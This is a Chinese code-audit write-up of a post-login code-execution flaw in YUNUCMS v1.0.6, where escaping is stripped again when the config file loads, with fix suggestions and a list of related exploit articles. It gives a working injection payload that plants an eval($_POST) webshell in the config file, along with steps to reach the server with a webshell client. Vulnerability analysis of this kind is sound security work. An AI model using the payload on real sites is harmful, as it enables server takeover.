0x00 环境准备

QYKCMS官网:http://www.yunucms.com

网站源码版本:YUNUCMSv1.0.6

程序源码下载:http://www.yunucms.com/Download/index.html

测试网站首页:

0x01 代码分析

1、漏洞文件位置:/app/admin/controller/System.php   第8-24行:

  1. public function basic()
  2. {
  3. $coffile = CONF_PATH.DS.'extra'.DS.'sys.php';
  4. if(request()->isAjax()){
  5. Config::load($coffile, '', 'sys');
  6. $conflist = Config::get('','sys');
  7. $param = input('post.');
  8. unset($param['file']);
  9. $param = add_slashes_recursive($param);
  10. 10.
  11. 11.         $param['site_guide'] = array_key_exists("site_guide", $param) ? 1 : 0;
  12. 12.         $param['site_slide'] = array_key_exists("site_slide", $param) ? 1 : 0;
  13. 13.
  14. 14.         setConfigfile($coffile, array_merge($conflist, $param));
  15. 15.         return json(['code' => 1, 'data' => '', 'msg' => '更新设置成功']);
  16. 16.         exit();
  17. 17.     }

这段函数将配置参数进行用add_slashes_recursive函数处理,写入配置文件中。也就是利用PHP中的addslashes() 函数返回在预定义字符之前添加反斜杠的字符串,我们再看看看其他地方:

2、漏洞文件位置:/app/admin/controller/Common.php 第75-77行:

  1. foreach (config('sys') as $k => $v) {
  2. config('sys.'.$k, strip_slashes_recursive($v));
  3. }

这段代码放在公共类里面,在加载配置文件的时候,将addslashes添加的反斜杠进行还原。形成类似二次注入的情况,可以将单引号引入配置文件闭合前面的单引号。

综上,代码在实现上过滤不严谨,导致攻击者可以构造脚本代码写入配置文件,从而导致程序在实现上存在代码执行漏洞,攻击者可利用该漏洞获取敏感信息。最后控制网站服务器权限。

0x02 漏洞利用

1、登录后台--常用菜单--基础设置--网站名称--填写Payload:

Payload',1=>eval($_POST[g]),'xx'=>'

2、写入成功后,配置文件中存储的是被转义过的代码,我们需要进行二次更新。

3、在网站后台--WAP设置--基本设置--点击提交即可完成配置文件更新。单引号成功闭合前面,构造的脚本代码写入配置文件中。

4、通过直接访问脚本文件,触发脚本代码:

5、通过菜刀连接,成功控制网站服务器

0x03 修复建议

1、写入配置文件前,对特殊字符(如<、>等)进行htmlencode处理;

2、全局配置可考虑写入数据库进行调用。

最后

欢迎关注个人微信公众号:Bypass--,每周原创一篇技术干货。 

【代码审计】YUNUCMS_v1.0.6 后台代码执行漏洞分析的更多相关文章

  1. 【代码审计】XYHCMS V3.5代码执行漏洞分析

      0x00 环境准备 XYHCMS官网:http://www.xyhcms.com/ 网站源码版本:XYHCMS V3.5(2017-12-04 更新) 程序源码下载:http://www.xyhc ...

  2. thinkphp5.0.22远程代码执行漏洞分析及复现

    虽然网上已经有几篇公开的漏洞分析文章,但都是针对5.1版本的,而且看起来都比较抽象:我没有深入分析5.1版本,但看了下网上分析5.1版本漏洞的文章,发现虽然POC都是一样的,但它们的漏洞触发原因是不同 ...

  3. CVE-2017-7269—IIS 6.0 WebDAV远程代码执行漏洞分析

    漏洞描述: 3月27日,在Windows 2003 R2上使用IIS 6.0 爆出了0Day漏洞(CVE-2017-7269),漏洞利用PoC开始流传,但糟糕的是这产品已经停止更新了.网上流传的poc ...

  4. Tomcat/7.0.81 远程代码执行漏洞复现

    Tomcat/7.0.81 远程代码执行漏洞复现 参考链接: http://www.freebuf.com/vuls/150203.html 漏洞描述: CVE-2017-12617 Apache T ...

  5. ECShop 2.x 3.0代码执行漏洞分析

    0×00 前言 ECShop是一款B2C独立网店系统,适合企业及个人快速构建个性化网上商店.2.x版本跟3.0版本存在代码执行漏洞. 0×01 漏洞原理 ECShop 没有对 $GLOBAL[‘_SE ...

  6. DedeCMS V5.7 SP2后台代码执行漏洞复现(CNVD-2018-01221)

    dedeCMS  V5.7 SP2后台代码执行漏洞复现(CNVD-2018-01221) 一.漏洞描述 织梦内容管理系统(Dedecms)是一款PHP开源网站管理系统.Dedecms V5.7 SP2 ...

  7. [转帖]Windows DHCPServer远程代码执行漏洞分析(CVE-2019-0626)

    Windows DHCPServer远程代码执行漏洞分析(CVE-2019-0626) ADLab2019-03-15共23605人围观 ,发现 4 个不明物体安全报告漏洞 https://www.f ...

  8. 【代码审计】LaySNS_v2.2.0 System.php页面存在代码执行漏洞分析.

      0x00 环境准备 LaySNS官网:http://www.laysns.com/ 网站源码版本:LaySNS_v2.2.0 程序源码下载:https://pan.lanzou.com/i0l38 ...

  9. 【代码审计】QYKCMS_v4.3.2 后台down.php页面代码执行漏洞分析

      0x00 环境准备 QYKCMS官网:http://www.qykcms.com/ 网站源码版本:QYKCMS_v4.3.2(企业站主题) 程序源码下载:http://bbs.qingyunke. ...

随机推荐

  1. mongodb.mongoose维护内嵌数组元素

    运行环境: - Nodejs - MongoDB 文档实例名: ProjectJob 文档格式如下: { "_id" : ObjectId("5bc69eb0b298b3 ...

  2. MUI右滑关闭窗口用Webview的drag实现

    mui.init({swipeBack:true}); 必须要用很快的速度摩擦屏幕才能达到右滑关闭窗口的效果,且在右边一般都会失效. mui这个滑动,是纯前端的,这个效率在Android上确实一般. ...

  3. Python学习笔记(十四):模块高级

    以Mark Lutz著的<Python学习手册>为教程,每天花1个小时左右时间学习,争取两周完成. --- 写在前面的话 2013-7-23 21:30 学习笔记 1,包导入是把计算机上的 ...

  4. autorelease' is unavailable

    ARC forbids explicit message send of'release' 'release' is unavailable: not available inautomatic re ...

  5. solr之定时增量索引实现

    solr本身就提供了一个工具库实现定时增量索引,但是我在使用的过程中发现会出现一些问题,目前遇到两点: 1.启动时总是报如下异常: ? 1 The web application [solr] reg ...

  6. SSH框架搭建详细图文教程(转)

    这篇文章看的我醍醐灌顶的感觉,比之前本科时候学习的SSH架构 要清晰数倍  非常感觉这篇博主的文章 文章链接为:http://blog.sina.com.cn/s/blog_a6a6b3cd01017 ...

  7. Android中使用adb访问SQLite的方法

    (1)打开命令提示符,输入:adb,按回车,如果得到下面一大堆命令说明(如图 1),表示adb的配置是成功的,如果提示"不是内部或外部命令,也不是可运行的程序或批处理文件",那么需 ...

  8. ionic tab显示到顶部去了

    添加配置调整显示位置 .config(function($stateProvider, $urlRouterProvider,$ionicConfigProvider) { $ionicConfigP ...

  9. Load 和 DOMContentLoaded 区别

    Load 事件触发代表页面中的 DOM,CSS,JS,图片已经全部加载完毕. DOMContentLoaded 事件触发代表初始的 HTML 被完全加载和解析,不需要等待 CSS,JS,图片加载.

  10. 鱼缸的启示:Scale-out和Scale-up架构

    提到Scale-out和Scale-up,初看到可能会有点晕.其实我认为Scale-out和Scale-up的概念可以用一个简单的例子来解释. 不知您有没有养过鱼?当你只有六七条鱼的时候,一个小型鱼缸 ...